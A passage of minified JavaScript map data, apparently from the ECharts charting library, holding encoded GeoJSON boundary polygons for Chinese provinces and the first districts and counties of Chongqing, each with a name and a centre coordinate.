ƨŋ@ȃƧñôŏƧɛƨ—ôɝƧʵ̍œôȃυœ@ɝɛȂƥóóȁɛóõôɛ@əͪɛŋôȁƩóםȃ@ƥƧŏړʶѹ̍ƥŌƦȂóôɜƨѵО̎נəɜѹŋƧȂ@ȀóœɜͪɞƧ"],encodeOffsets:[[106651,27901]]}},{type:"Feature",id:"shan_dong",properties:{name:"山东",cp:[118.7402,36.4307],childNum:17},geometry:{type:"Polygon",coordinates:["@@Ʃ̐φͪɚςɞ@@Ȃƨñ̎̎Ԯ@ѶОƨƧڔ@φН̑ŋ@Ʃ̒ǿ̎@ƨɜԬςôʶ̐ʶöԫƨƧנƥɜŎôō̎@ôŏóρƧŏԫôóƧԩó@ƥɜƧԭóƨʵɛƨ߻ӑɜНԩ˜óô̑óƧʳə™óɛƧ@õȀƧœ̍ȃɛŐóŏυО̍—óɝƩ—ԩ@ƧɚԫȄɚʶƨ˜ɞʶԪ̐ړɛƪ̒"],encodeOffsets:[[118261,37036]]}},{type:"Feature",id:"jiang_xi",properties:{name:"江西",cp:[116.0156,27.29],childNum:11},geometry:{type:"Polygon",coordinates:["@@ƧȄôɚəȄ̎ʶԬ˜ԮͪςóƨŐƪ›τɞƦōƥƧ@ŏςôóŐôô̒ʷѶ—ƪƩƩǿ@ō̒ɛôυ@—Ƨȁѹɛəƨѹ̑ƨ̏óƥѵʷô̍ɛȁôŏɝǿƧԫƧ›ôʳƥōòȃρȄ߻ɛɝƨɞɚɜƨôŐƧŎԭōñƦòԮɜôɛ˜ôͪƥœ@ʶƧƨôƦƧô@Ȅô̎Ѷͪ"],encodeOffsets:[[117e3,29025]]}},{type:"Feature",id:"he_nan",properties:{name:"河南",cp:[113.4668,33.8818],childNum:17},geometry:{type:"Polygon",coordinates:["@@φ˜̎ƪ̐˜ɞȄɚ@@Ȃעó̎ŌѺ̒ôֆॢȃô™ƨŎƨōƪöƩ̑ڔɜԩ̏ɝʵƧ—əʵԬȃƨəԪ@@Ƨ̒ŏô̍υȁƧɚ̍ôóŋ@ɝƧŋõ̑σ—@ŏɜŋôɝ̒ƧɚôôطρóóɛƩ@óƨ̍ŏƧôóȄ̑ôƧóƥôóӐɛōɝŎ݇ñړɚѵֆ@ɞ̏ʶ@ʴƩöó̐"],encodeOffsets:[[113040,35416]]}},{type:"Feature",id:"liao_ning",properties:{name:"辽宁",cp:[122.3438,41.0889],childNum:14},geometry:{type:"Polygon",coordinates:["@@ƨʴƧôôӔƨô̎ƩɞН̎ͪ߼ͪɜ—ɞɚ̐—@ƨςŏ̒ôƦƨɜœô̎ƪôςǿƨͩɞȀƨ@@ɛςփô›óŋ@ʵφυƩʳö›॥փρѹס@əɛ@ͩࢯ@ѹʵρ—ƩʶφȀƧ݈̒۬óʸɝŎѵ@ԭԫןɛƧƨƥςɛ—υʶφО"],encodeOffsets:[[122131,42301]]}},{type:"Feature",id:"shan_xi_2",properties:{name:"山西",cp:[112.4121,37.6611],childNum:11},geometry:{type:"Polygon",coordinates:["@@ɚѺñŌɚšôȄѺ›̎ֆφóςȂ̒—ɜƨɚ@@Ȁƨŋôȃƪ—ѹ̑̐ŋƪ̑Ʃρρ›óó@ōɛɛ@əɜŏƦρƨ›ρѵ@ɝɛǿɜʵóօѹ̑̍ŋסô@ȁə@ɝȃ̏—̍Ʃυ—Ƨô@Ȃ̐ظóОó݊φք̑ʸ@Ȃ̒ʶôȀ"],encodeOffsets:[[113581,39645]]}},{type:"Feature",id:"an_hui",properties:{name:"安徽",cp:[117.2461,32.0361],childNum:17},geometry:{type:"Polygon",coordinates:["@@ó̎̑Ő@ƨƪ˜Ѷǿɜ̑φ—Ʀʵ̐˜Ƨѵôóƪôôυς—ƨȂɞŏ@̍ԫôò̑ƥ—óȃѶͩƧƥôŏѺœôŏƦ—@›ƥͩƧ—ôȁυó@̑ƧɛѵʵƩƪѵ˜̑ʸóóôŏρó@ŐƦƨƥŎσɝƩœ@̎̍Оɚ̒ρƨƧȂôɜςôóظəó̑ƨóɞɛŌ@Őτ˜ö̒ƨŌ@ɞôŌ̎óƨəφȂ"],encodeOffsets:[[119431,34741]]}},{type:"Feature",id:"fu_jian",properties:{name:"福建",cp:[118.3008,25.9277],childNum:9},geometry:{type:"Polygon",coordinates:["@@̎›óȁƨӑ̒—̎ɚƨͩφŐƨɝ̎ŋóŏρ—@ōƨ›òʳəóƨō̏˜õɛƧ@ƨѵƧōəŏóŋƧô̑ɝɛʳƥ@@óɛõ@Ƨ̑ƧóȁəƧ̑—Ƨ̐@ɚəОƧ—Ƨɚóñ̑ŎóʴƨœƨԬɞȀóŐɜȂó̎ѶʸôƦƧ̐Ѻ̒ɚƧѺɜƨȂ"],encodeOffsets:[[121321,28981]]}},{type:"Feature",id:"zhe_jiang",properties:{name:"浙江",cp:[120.498,29.0918],childNum:11},geometry:{type:"Polygon",coordinates:["@@Ѷʶƨɜ@̒φôóȂƨ˜Ʀͪ@œ̐˜Ѹ̍τȂ̒̑נŐמôƪƧôӑ̑›@ƥρͩƨօ̏@@υɝó@ŋɛ@ôƩəóƧѵυó@ƩɜŋƧ@̍ŌƧɞυŏƧͪ̍ə̑˜ƧӒôȂ̍œ@˜óφ̑ɜ@ŎƪȀ"],encodeOffsets:[[121051,30105]]}},{type:"Feature",id:"jiang_su",properties:{name:"江苏",cp:[120.0586,32.915],childNum:13},geometry:{type:"Polygon",coordinates:["@@ôɞ̎˜φНôŐɜŏ̎Ȅƨ›öǿƨ@ôɜɚšƨʴ̒ôôó@Ƨ̎əԮȃԪૉöͩ̐ƧòʵφƧôʵ@óړɜóŏɜǿƧ›ɝρσȁѷ̎̏—ƥ˜óŐѹ›óŐƨƦѵͪôȄƦ˜ñ̒Ԭó@̎ɝŐƧȁρ˜óφƩóóôƨѶ̏—ƥʶυ˜ɛ̒ѵȀ"],encodeOffsets:[[119161,35460]]}},{type:"Feature",id:"chong_qing",properties:{name:"重庆",cp:[107.7539,30.1904],childNum:40},geometry:{type:"Polygon",coordinates:["@@əȂòɜƨ˜ѺɛƦȁ̐@ƪ—õŏφƥòȃƥ̍Ƨôυ̏ƧôñóóôɛŏƩôƧƥôƧóυƨœ̒ѹôœƦȃ@փƥɛ̑@@ɜƧó@ɚƧ@ñφσõ@ŎɝôƧ—@ʵѷóƧʵó˜@ŎóŐó@ôȁƥ›ó̒υôóʶə˜ƧȄς̎ƧȂôƨƨƨφɛ̎Őƨʷɞ@ςԮóŌôôφ@ɜֈ̎ƨ"],encodeOffsets:[[111150,32446]]}},{type:"Feature",id:"ning_xia",properties:{name:"宁夏",cp:[105.9961,37.3096],childNum:5},geometry:{type:"Polygon",coordinates:["@@ల̒ôޠφӒςôƪͧυևɜŋѺó̎ȁ̍ɛ@ѹס@@ʵƧȁôó@ǿ̐ŏöʵɝŋɛ@ô̑ƥóóƨƧ—ó˜ôœó@ƩôóƦ̍œóȀƨŎɛӒôŐυͪɛ@@Ȁə@"],encodeOffsets:[[106831,38340]]}},{type:"Feature",id:"hai_nan",properties:{name:"海南",cp:[109.9512,19.2041],childNum:18},geometry:{type:"Polygon",coordinates:["@@φɜƦʶ̐ôφô̎@ƨŎö@τʵƦ˜ԩ۫õН̏óƥȃƧ@Ʃəםƨ̑Ʀ@ޤ"],encodeOffsets:[[111240,19846]]}},{type:"Feature",id:"tai_wan",properties:{name:"台湾",cp:[121.0254,23.5986],childNum:1},geometry:{type:"Polygon",coordinates:["@@ô—ƩɝöƧɝѵəޣ̏ρƩԭóōóͪρɞƧОôԪ݈ଦѶɜ̒ɛ"],encodeOffsets:[[124831,25650]]}},{type:"Feature",id:"bei_jing",properties:{name:"北京",cp:[116.4551,40.2539],childNum:19},geometry:{type:"Polygon",coordinates:["@@óóó›υóôƥ@ŏóóə@ƧŋƩŌρóɛŐóʶѶʴƥʶ̎œôƨɞ@óŎɜŌ̎̍φ›Ƨŋƨʵ"],encodeOffsets:[[120241,41176]]}},{type:"Feature",id:"tian_jin",properties:{name:"天津",cp:[117.4219,39.4189],childNum:18},geometry:{type:"Polygon",coordinates:["@@ôôɜ—@ƨöɚôœôôɚŏ@óƥ@@ȁƦƧɜ@óƧƨƥ@›ƧóəН̏óѷɜ@ŎƦƨóО"],encodeOffsets:[[119610,40545]]}},{type:"Feature",id:"shang_hai",properties:{name:"上海",cp:[121.4648,31.2891],childNum:19},geometry:{type:"Polygon",coordinates:["@@ɞςƨœɛȀôŐڔɛóυô̍ןŏ̑̒"],encodeOffsets:[[123840,31771]]}},{type:"Feature",id:"xiang_gang",properties:{name:"香港",cp:[114.2578,22.3242],childNum:1},geometry:{type:"Polygon",coordinates:["@@óɛƩ@ρ@óœôȀɚŎƨ@ö@@ōƨ@"],encodeOffsets:[[117361,22950]]}},{type:"Feature",id:"ao_men",properties:{name:"澳门",cp:[113.5547,22.1484],childNum:1},geometry:{type:"Polygon",coordinates:["@@X¯aWĀ„@l"],encodeOffsets:[[116325,22697]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/chong_qing_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"500242",properties:{name:"酉阳土家族苗族自治县",cp:[108.8196,28.8666],childNum:1},geometry:{type:"Polygon",coordinates:["@@XJ°œlJX@lbl@XbV@VLnJlxnbšƒUU@IVK@lVIVwnJlU@n@J@L@Jn@l_nWVLVln@@blLšmV@@xœÔ‚`nœ™xV‚ÈLlx„LVxVVšƒV_U»VWn_m¥XwVmnX°ƒlmUUVwÞaVƒk@a@mmIUa@™mwk@™ƒm@@U¯a@UV@@K™@ykkmwkV@kU@ƒÑƒVkKWLÅamaUm@kyU@WkU@Ua™IUašVaUUmUUa@aVLXKWa¯UUbmJXnWnX`l@@xkzWÆ@V„LU¦‚x@b@JkIkJ@LmbUamJwm@óxƒnk@V„@x„ŽVnUVmVUVŽUbVlUbkXWŽ"],encodeOffsets:[[110914,29695]]}},{type:"Feature",id:"500236",properties:{name:"奉节县",cp:[109.3909,30.9265],childNum:1},geometry:{type:"Polygon",coordinates:["@@WVXb‚UnK@x@b‚²kxmKkl¯_ƒVV°™VU@bnKVVV@@nkŽ@n›bn‚@š°@VLČUš@°WV@V™nU@InKVl@nU„b˜KnX„WlknLlKUwnalLša„VlUXmWk@UU@UWWIUyķ¹XaWW@X™ƒKUIVm„U@W@UVU@KV@n»VkUkÇmUmVIUmULUbm@ƒwUaƒKkkm¯ÑUL@bWVnx@VmxUI@„klmkkK@aƒK@IlJ@I¯ƒk@mak@mnkJVL@bV@Ub„„W`UUUV™I@VƒU@VVbUJVLUVVbUX„VVxk¦VJUnVxnVVUšJV@Ubl@@bXV@L"],encodeOffsets:[[111781,31658]]}},{type:"Feature",id:"500238",properties:{name:"巫溪县",cp:[109.3359,31.4813],childNum:1},geometry:{type:"Polygon",coordinates:["@@nLWbX‚VLVU„V@KšIVl@b„@lbšU„VnU@JÆU@V@n°KĢUl@VbÞKšVš@„_„V‚KXU‚U@KXƒ@wlkkU@mWKUU@UôJ@XV@œaVmÞIVaVLƒƒ@»kmƒ@ƒUkL™U@aU@WWƒLUUU™™KkbƒwWa@KU@kaƒXmW—LƒamVk@UmL@JmVUšU@¯X™@ċVUK¯@ÅnWK™LkKULWK@UXK@wW@™LkV@bVLƒlXn›`¯xU„°LnŽlV@n°Lnl"],encodeOffsets:[[111488,32361]]}},{type:"Feature",id:"500234",properties:{name:"开县",cp:[108.4131,31.2561],childNum:1},geometry:{type:"Polygon",coordinates:["@@n@na‚I„wš@@VVK„LVbVxnVÆUnanKWXamKmk¯K@mkUm¯KVƒ°w@Wm@UIUUlKUU@a¯KWanwmUXamKkUWUnU@KƒkUwWKXaWLUWkImaUUUƒƒKka±k@lƒ¯w™wmbUƒ™ƒkXm@UJkIW‚XXƒbƒmƒ„UJ™XUV@°šKlšlVXV@xmbnV@blV@VšœU`UL@V™a@bULlb°VXbܚ@V@bƒL@J„xnLVb@lVb@V@@z˜bXWšX„KVLV‚š@@bUVVL@b„„lVna@ll@„zl@@J"],encodeOffsets:[[111150,32434]]}},{type:"Feature",id:"500243",properties:{name:"彭水苗族土家族自治县",cp:[108.2043,29.3994],childNum:1},geometry:{type:"Polygon",coordinates:["@@„Jlb@nVV@bXb@ÆlL„Ul`nVKU¼VxkbW„nlUxlXX‚@°°WnnJ@VUn@J„k°L@VlV@nUJ„x@bVVVz@VnLla„KnalVlIUŽ„¼@nV@@anKUwVal@UlJœƒlI@akU@UWXKVI‚¯Uak@@KmkXWÜkXWykIWwXw@laXamkVUUym_XmlkkmmakwmIUKU@Wak@kaW@kI¯›WIk¦VŽƒUUƒmaUV@XkVUV±aUb¯b¯¥m@@ImJ—@mƒmL@kUKUkkJƒbV¦"],encodeOffsets:[[110408,29729]]}},{type:"Feature",id:"500235",properties:{name:"云阳县",cp:[108.8306,31.0089],childNum:1},geometry:{type:"Polygon",coordinates:["@@lb„LV„VVnblJVXXKWbXLVx„l@LmVXVVl‚nLWbnVmxXb°L@bVVkLVVVJn@@X‚‚œ_Wm„kUK@alUšKX@@xWL@VXLVKlLšKXLÆm@™mœa@ml@mU@UUmL@aVšUU¯„U°`lknLlw±@a@wmLVWaXU@KWU@ak@VaU@™IUVmUUwVmUIl¥UwƒUVWUaVUUKVIUa@UUUUJƒUUm™kƒ„nl@„@VWV@L¯aUb™Ulxƒ@@b@VULUx@VUxVV™U@bU@mxU„U@mUVŽklkkƒ@WxknlxK@amLƒKU„K"],encodeOffsets:[[111016,31742]]}},{type:"Feature",id:"500101",properties:{name:"万州区",cp:[108.3911,30.6958],childNum:1},geometry:{type:"Polygon",coordinates:["@@ĸĊVI„ƒ„n„aWWXlJVIn@lWš„V„našx°xk„l@²Ž‚LVƒ„LnK@b‚LkwlmXw„@lllkUnVV@VƒnwV@@ašVUUVw@UVwVK@U@a„@kwšVVa°b@KXU@U@ƒmk„ƒÇсaml™kUVmn@VULU˜m@kUVkUaƒwUWm@Uw¯„mKUUmVUUULUKU„W@XbWVkaWwkUU™ƒ™k@maUbmbVlk¦ƒxUVUIWVU„kJVVkL@UmJ™UUVU@lLUVU„lx„@@VbƒJ™U™L¯¤@Vƒ„"],encodeOffsets:[[110464,31551]]}},{type:"Feature",id:"500229",properties:{name:"城口县",cp:[108.7756,31.9098],childNum:1},geometry:{type:"Polygon",coordinates:["@@VK@w¯L@m@UÅV@ImVƒU™Vkaƒ@@aUk™J@LƒUUVUKmLmbÅVmUUwUaƒKUL@U™@ƒxJmbm@nVJ@X@VkV‚n™lƒLXx™@ƒb@bUVƒLU`UnƒbU@@ŽmVVX@JX@VLVVšklV—„‚`@bUL@V„LVKn@‚U@„UJkn@lmLmK@X@Jn@mb„nÞWVXnJ‚k„KČÑÆ@VK@knaÜmXlUČW°kôÇÆ@a@yÞ_VmƒUnU@K"],encodeOffsets:[[111893,32513]]}},{type:"Feature",id:"500116",properties:{name:"江津区",cp:[106.2158,28.9874],childNum:1},geometry:{type:"Polygon",coordinates:["@@„InWUUlU@LVašlX@°²lÒXxlK@Ul@@Un@UaVJ@I@W@UƒUUVUwVIUKUa‚UUVwn@Üx@XUlnn‚bœJ@¥VklKUUlk@ynU@kVƒUUVWnI@¥V£VWVIUKU@UVƒa@n@Vm@@nlUaVkUwƒJ@blLkLW@XWmXkmmLn™@m@U@UVm@™„UVUUlakUVa„ƒVkV@@wnaWUk@VwkƒlmVIkUUxmJ@U„™@KƒIkx±V@IUm@K@IUKkbWKUbn„m„@bmVnbmb@xkxUJ@ULW`@bX@WVXL@Vƒš¯„mk¯@UJ@VmLUaWnX@WJ@nkKkxW@UIV@@KkImmkK@UW@XaWIU@U‚ƒIkbWb„xXŽlLVbnV@bWlX@VxVLnl@nÆÞVÜ"],encodeOffsets:[[108585,30032]]}},{type:"Feature",id:"500240",properties:{name:"石柱土家族自治县",cp:[108.2813,30.1025],childNum:1},geometry:{type:"Polygon",coordinates:["@@„š@kl@š¼UbmVXJ@bV@nxVIVJULVVk@@LWbnJVU@bVbUJ@blLXnWV—@mbnV‚@V„„bn@VJVLnaVanbl@„šVšlVXxlbXUWaX@VƒUUVwUUVm@I@WmI@a„mlLœ™lK@alwnUV@kóVaƒÝk@UlbVK@™VU»VUUVWUƒ@U`ULkwm@@KmU@knKƒ»VkJkUmbƒLkbmK@UUyUU@aƒwm@@XXJ@VVLVVUbVnUJVX@K„„k`WXXJWXUbmW@bkL™Um`Xnƒb@JVL@LU@™°VVXKVnUxVLUbmJ"],encodeOffsets:[[110588,30769]]}},{type:"Feature",id:"500237",properties:{name:"巫山县",cp:[109.8853,31.1188],childNum:1},geometry:{type:"Polygon",coordinates:["@@kVƒU™bkKmbVxkLmKkllbV@@LXb„xlašLVšVV„KXXV@@bšVlK„V„@ln@¼°KXa„U@Ulw°JXalIUa„ÝWXW@kVU@ƒVUVWUUUamUw@aVamwn@VUUƒlLXWm£@wÇĉkKklmLUÒ¯ƒWn™@ğ±kwmaWm¼U@@LUV@V@XƒVUnVJ„LWš@‚XXWbĸºVzXJVXV@@VXlWn"],encodeOffsets:[[112399,31917]]}},{type:"Feature",id:"500102",properties:{name:"涪陵区",cp:[107.3364,29.6796],childNum:1},geometry:{type:"Polygon",coordinates:["@@nèVblĖVVnLšŽ„@šx‚V„n@nšJ@L„UVVX@lbUJV@@nn@VVVK@z„˜V@nzVJVUlmX@@_VVVbnaVal@@knW@wnaƒVK@aVI„J@£kUVW@‚wXUVJ„amƒ@Ikƒƒƒƒ_X¥ƒ@WwkKkwmŽ™šƒkUxƒnÅmm¥™WV@Um@UlVL@JU@@Xƒ@UVkKVk™KVk™Kkb@bmJVXU„VVUbU@@`W_UV¯b"],encodeOffsets:[[109508,30207]]}},{type:"Feature",id:"500230",properties:{name:"丰都县",cp:[107.8418,29.9048],childNum:1},geometry:{type:"Polygon",coordinates:["@@Þè@XUK@LlV@blbUJ@„„V@bnV‚@VVVXU@ƒlbXal@VXnKV@maXUރ@amk@aVKXV‚anbš£°mnIVaUKVwUmWLUUš¯V@@KUK@I„aWmn_šVlK@anXVaXWWIXWl_ƒƒ@LUWVIUmVaUUUK@UWI@Wn@VI@mkU@U¯Kƒl@ImVÅLƒwU¤óbUU@wWXkmm@LU@@VUIWVUL@JUnƒaƒx@Jn„ƒbUIWVx@ŽUXlV@¤ƒIUJ@bUL„Žmb@xmX@lk@UbmbUaUU@`W@kn"],encodeOffsets:[[110048,30713]]}},{type:"Feature",id:"500232",properties:{name:"武隆县",cp:[107.655,29.35],childNum:1},geometry:{type:"Polygon",coordinates:["@@l„„w„bVm@IVKXUVJ@UV@@KnnWlX@xVVôaV£„xÆKnUVm@UmIXm¯¯@WkWVwmkXƒlaUwV»ULmk_ƒVkK@ÅWa@aUU@mkaƒIƒb@‚n¼ƒnm‚_@mmK@UƒLUVVmI@aUJ@XWJ@U`UIkm±kk@@lULmUmKUnVšnlUVmI@VkVlx™bkIƒVmLUxkKUŽ‚Xš‚n¦Æn„mVw„lš™nlxlLXx„@W¦„`„„"],encodeOffsets:[[110262,30291]]}},{type:"Feature",id:"500119",properties:{name:"南川区",cp:[107.1716,29.1302],childNum:1},geometry:{type:"Polygon",coordinates:["@@VšUbVJVUn@VLX@WVXVVI@VUVWxU@mš@ĊX@@¼V°aVUX`@_V@VaUUVƒUWnI@alašLUlšLUllLVU„@@WV@@IUKVkn@@VlLVwnK„UlJšakwlU@UnJVUmkU™VmXa@wVK@UUw™@VƒVI@akƒ@alInwlKXUmaUW@wWLk™™KVak_ÇaUƒƒV@šXbƒLVxUlWIk@UK@V™@ƒkU@VbUVUlVnƒLUV@lVXmxkV@L@V@Vk@WbUwmL@JUI@xVxkx"],encodeOffsets:[[109463,29830]]}},{type:"Feature",id:"500241",properties:{name:"秀山土家族苗族自治县",cp:[109.0173,28.5205],childNum:1},geometry:{type:"Polygon",coordinates:["@@XlV@lzn@VŽnbÆbXKlL„U„ÒV@@llUnxll@zšŽ@LU@@V°b@Vn@š„l@VÑUƒnK@UšU@aUaƒkVm@K¯wƒklmnn„Ul`nI@almkIUwmWVkUaƒkkJmUUa@K@aU@@_m@@wUyVUUa@Umƒ@awl@Wka±„UkUykIWV™b@bUVk@›aU@UXU‚UIWakUWmUxUV@nUVWbšŽ@XXVVŽmXXŽ@VƒbVLkVWx"],encodeOffsets:[[111330,29183]]}},{type:"Feature",id:"500114",properties:{name:"黔江区",cp:[108.7207,29.4708],childNum:1},geometry:{type:"Polygon",coordinates:["@@VX@V@LV@VJUL@lVnnxlb@VXV‚XV@@W„@UIVK@kUKna@£VWUaVUUalIVJVIUW„_lm@bXKV@mn@J„UUw@KnIVll@VanLVmUkVKXLVKUIVamw@UaU_lw„KlwUWV_Ua@aUa@KUšwm›_›Ó@wU@™nkK@am@UkUKmXk`m@@I@K@I@mkVmIUxUJ@kUL@JVV™„lnklWnn`VzUVnlWbkb@WxXxlJXzWŽÛlWXnl@Ll@Vb°UJWLX@VlV@bkJ"],encodeOffsets:[[111106,30420]]}},{type:"Feature",id:"500117",properties:{name:"合川区",cp:[106.3257,30.108],childNum:1},geometry:{type:"Polygon",coordinates:["@@XKVXlK„ƒVL@UnV@aValXXK„U@WVwUaVU@IV@@aVW„L@U@anVV@@bVK@UVL@bnJWL@VnUnb˜@@JnIlVl‚@@bXIWbn@UKVLVKXLlaV@VVnK@bVL„m„IVƒ@KmknUUWVI@aVJ@_„WU_VmUwƒU@K™ƒVak@am¯mJU_UJUkU@WkIV`UI@JV@LmmU@@mƒbUzś™@„VK@nUKƒ„ƒb™akb@UWK@bkVVbV„Û@@`ƒXk@WŽ@n@lXL@bmb@VVJUn@JnUlnUlmX@`XLlbkJW@kzlb@`@b@b"],encodeOffsets:[[108529,31101]]}},{type:"Feature",id:"500222",properties:{name:"綦江县",cp:[106.6553,28.8171],childNum:1},geometry:{type:"Polygon",coordinates:["@@@¦‚@X„lVX@@UVKl„VUX@lanVlUVbXWVXVƒ„VVUnKVUlwUwU@UJ@nmVkUV™lwXam@VaUUUw@W@kk»mV@UmKkwVKVUU@@LUKVI@mV@XVWxnXVKUUUK@wWU@UUWnUlLXa‚mUI„am@wI@K@amIm‚UUkI@m‚akUkKWUUanƒ@wƒamLVxk@UVmUUL@Vm@kV@I@ak@@bWVXJlLVbVL@š@bn@@`Un„@WbUKULWVXbƒ@UVmbX„WVƒb@bVmxUKUƒV@šUn@V@V@nmšnKlnnWWXX@lKkK@a„IVxUlVb‚k@mn@@U@m„bVUV@VLUJUXU¤"],encodeOffsets:[[109137,29779]]}},{type:"Feature",id:"500233",properties:{name:"忠县",cp:[107.8967,30.3223],childNum:1},geometry:{type:"Polygon",coordinates:["@@VLÞĊ„U@Wš@¼V‚„@lk@w²mlšVUœ„llšVnI@VlKUUlIVƒXUVJVU„wl¥UkUKUIm@ƒaUƒ@mUna˜@XUWmkK@aVIUa@aUVmIXa@Kl@UUVKUIUJmwU@@aWInUVa™»k@@lƒ™¯n™¤mabWUUL@bnl@b݄WVnbU@mLUWk@Wbka@„WVUU@UmUmVkUULV„lVUx„l@L@VƒbÈÒlb"],encodeOffsets:[[110239,31146]]}},{type:"Feature",id:"500228",properties:{name:"梁平县",cp:[107.7429,30.6519],childNum:1},geometry:{type:"Polygon",coordinates:["@@XLV@VV@b°°nšƒnkb@bƒšnJWVXblIUVšxWnUJnVVLVU„JlUnLVK@UnUVJš²nKVbVKla@aXlJ„k„Klb„ƒ@U°£šKšV„IUa@ƒ@kwVƒVUkKV@VUkk›ƒUVk™±n@xklƒ@U@»™‚@XƒVÝĉUJnxWb@UX›KkVUbUKWUkVmkkLU`›b"],encodeOffsets:[[109980,31247]]}},{type:"Feature",id:"500113",properties:{name:"巴南区",cp:[106.7322,29.4214],childNum:1},geometry:{type:"Polygon",coordinates:["@@nxnVlJlUXLƒ¦@x@Vl@nKVVX@V_V@@KlVXU„@lKlxXIl@ÈĊ@Vl@n_VJlŽnVlnb„²VVVJVVmUUkĕUamçU@»W@@ĉn™V@XwVU@UUJWUXUW@UKm@UVUIVaU™UVmLUVƒUU„UWWXUakVmUkbW@UVkƒUL@VW@kUWƒ@mJUXVVU„@lmV@zklVVkLUl@¦›I"],encodeOffsets:[[108990,30061]]}},{type:"Feature",id:"500223",properties:{name:"潼南县",cp:[105.7764,30.1135],childNum:1},geometry:{type:"Polygon",coordinates:["@@@a@a@_kalyX@lIkaWK@_nWVkkmmV@IVmUI@Una@aWK@k@mkbWaknmJUk@mk@@kUal@Uaš@Wa@aXLlwUKlkkƒ@KmI@VUJ@Lk@@VUUmL@amJU£kKUaWakLmU@bVVUbnbWV@xkL@bUb‚xUxVbXJVbUVWIUVU@kLWxkKWV@n¯VUbU@@VVX@VmaUL@VUK@VVbn@lVnI‚@@lnLULm@Ub@Žl@na„@lK@XVVkJ@b@zl@@VnV@bVb@J@bnXV`lXXmVI@W@InbV@@aVKUblKVLUanLlmnLlK"],encodeOffsets:[[108529,31101]]}},{type:"Feature",id:"500118",properties:{name:"永川区",cp:[105.8643,29.2566],childNum:1},geometry:{type:"Polygon",coordinates:["@@@b܄nWVLX„lxV„VxXxlVn@@bVblK@a@UnLVJV@@UnLVU@VXaVKVXš@n`WUÿ@IUKlaUUUkWyUÛÅÝ@mmkUKUwW@Xk@amUUakKWƒwXaƒK@VVLklƒXVlkxV„UL@bm@Vxn`ƒIVxUVkLVšUšl@@lkXmmƒVUn@VV@Xb"],encodeOffsets:[[108192,30038]]}},{type:"Feature",id:"500231",properties:{name:"垫江县",cp:[107.4573,30.2454],childNum:1},geometry:{type:"Polygon",coordinates:["@@šĊ°¤nҘ¼œaV_lKnllUXVVLValUœLVW‚@XamwVIUKkaÇфa@U@KƒkVwkUUƒVKlVnU@aƒU@ƒVIka@akU@KVL@WÝçUV@Vmbů@L™KƒnnJW„ƒVkxlL@VX@VxmnXVWxUb@bkn"],encodeOffsets:[[109812,30961]]}},{type:"Feature",id:"500112",properties:{name:"渝北区",cp:[106.7212,29.8499],childNum:1},geometry:{type:"Polygon",coordinates:["@@@bVVXL‚a@lnbWn@L„@XVlK@VVLUVlbkLUKVVVL@VšnX‚VL@VV@UbVb@x@¦UxVb@bUJƒL@L„VVxlK@™nk@U@W„UVLlKXV„@VblU@UUKVU@wn@VJVanLlkX@VaVK™¯@a@U@U@ƒVaUK„kUUƒ±maUkm@UUkbm@@Vk@@JƒwU@Ub@I@JmwUL@aƒ@@KkVÇLkƒWkƒ@kUU@@xUVmKUnllUb"],encodeOffsets:[[109013,30381]]}},{type:"Feature",id:"500115",properties:{name:"长寿区",cp:[107.1606,29.9762],childNum:1},geometry:{type:"Polygon",coordinates:["@@VVšU„bX‚lX„¥l@XnVmlxUx„@@blVnnôĀlm@aVaXwWUnmUwW@@UkKlw„UXƒmI„mšL@Kưna@UUImyU@ƒ—@yULUUm@@mU@VIkaW@UUƒV@K™I@mƒmU™wƒ@™mKUnU‚UIƒlVLUb@„@V@V@bš°ULUbW@klmKUbUIm@@xUVVL"],encodeOffsets:[[109429,30747]]}},{type:"Feature",id:"500225",properties:{name:"大足县",cp:[105.7544,29.6136],childNum:1},geometry:{type:"Polygon",coordinates:["@@XUmaVaUU@anVlKXbValU@aV@@IXKš@@bV@VxVK@UXLlUšJXa@_‚@@aVK—ÅWVkwWaƒƒwUa@am@kUWLU@kWmX@ykI@W@UV@na@LlLV@UƒkwWƒUKmXX`mIVl@bXLWVkbkkƒx@`VXm@@J@U@UUKUxk@WbUIVl@VXLW„ƒJUkUlUImxXlmb@X@VUJUnVbšW@UV@@VVX@bnW@LVxUnlJUV@n„@VxVIn@l`„UVVVL"],encodeOffsets:[[108270,30578]]}},{type:"Feature",id:"500224",properties:{name:"铜梁县",cp:[106.0291,29.8059],childNum:1},geometry:{type:"Polygon",coordinates:["@@VblLV¤nI@bnKVV@Ul@@KVI@UnJ@Ll„klVLkxWK@bXb™@Vbk@Vb@ll@@nVlnIlmXblaXl@„W@_Ü@UƒUalU@aXL@Vlašb„a„ƒVL@mUL@ƒUUƒƒÇXUW›X_WaƒƒUƒ»m_™@UWULWb@UUVmK@VU@UImK@V@bkL„x‚„XblxXU˜ÆUL@b@@`Wb™IkVWK@VULUwU@@a™@WL@JU@@bkVUb"],encodeOffsets:[[108316,30527]]}},{type:"Feature",id:"500226",properties:{name:"荣昌县",cp:[105.5127,29.4708],childNum:1},geometry:{type:"Polygon",coordinates:["@@VI@U@WnaWknwVJVkVl„IXƒWK@UUkVJXal@VwVL@V@V@In@UW@_„wlllaXUWK@aUknJW_ۃ@aWaU@@UVm„UUaUImJVnÅUmVUm`kUUVWLnVU@VVmXƒK@„nxmŽULkx™ImJ@nU`@X@Vkn@`@nlV@nVJVaX„VLnK@bVV@nV@lbXWš@"],encodeOffsets:[[108012,30392]]}},{type:"Feature",id:"500227",properties:{name:"璧山县",cp:[106.2048,29.5807],childNum:1},geometry:{type:"Polygon",coordinates:["@@XzVlVVkbVL@JVĀXŽ‚¼V„„„XbW`XœWVȎ„„VVšŽVkV@@UXa@alK@IƒƒU@UKWUyUI@wVUUWVak@VUkƒW¹@WXI@yVIUK@kWwkѯ±W@™kUb@KkVVVmXƒJ"],encodeOffsets:[[108585,30032]]}},{type:"Feature",id:"500109",properties:{name:"北碚区",cp:[106.5674,29.8883],childNum:1},geometry:{type:"Polygon",coordinates:["@@X‚VLV@„„@JkL@bWb@VU@UlƜVy„a@nV@nn@KU@IVJU_lJXV@VlVIV`nIn°@b‚lUbš„„KVI@aUaVw@¥@wUaVaU@@UUKW™m@UUKUUVLlKkaVUUK@UkLWUƒ@@KXmma@kbWKUU@aUamLnÞ@VWLk@@Wm@ULU@@U™KUVWI"],encodeOffsets:[[108855,30449]]}},{type:"Feature",id:"500110",properties:{name:"万盛区",cp:[106.908,28.9325],childNum:1},geometry:{type:"Polygon",coordinates:["@@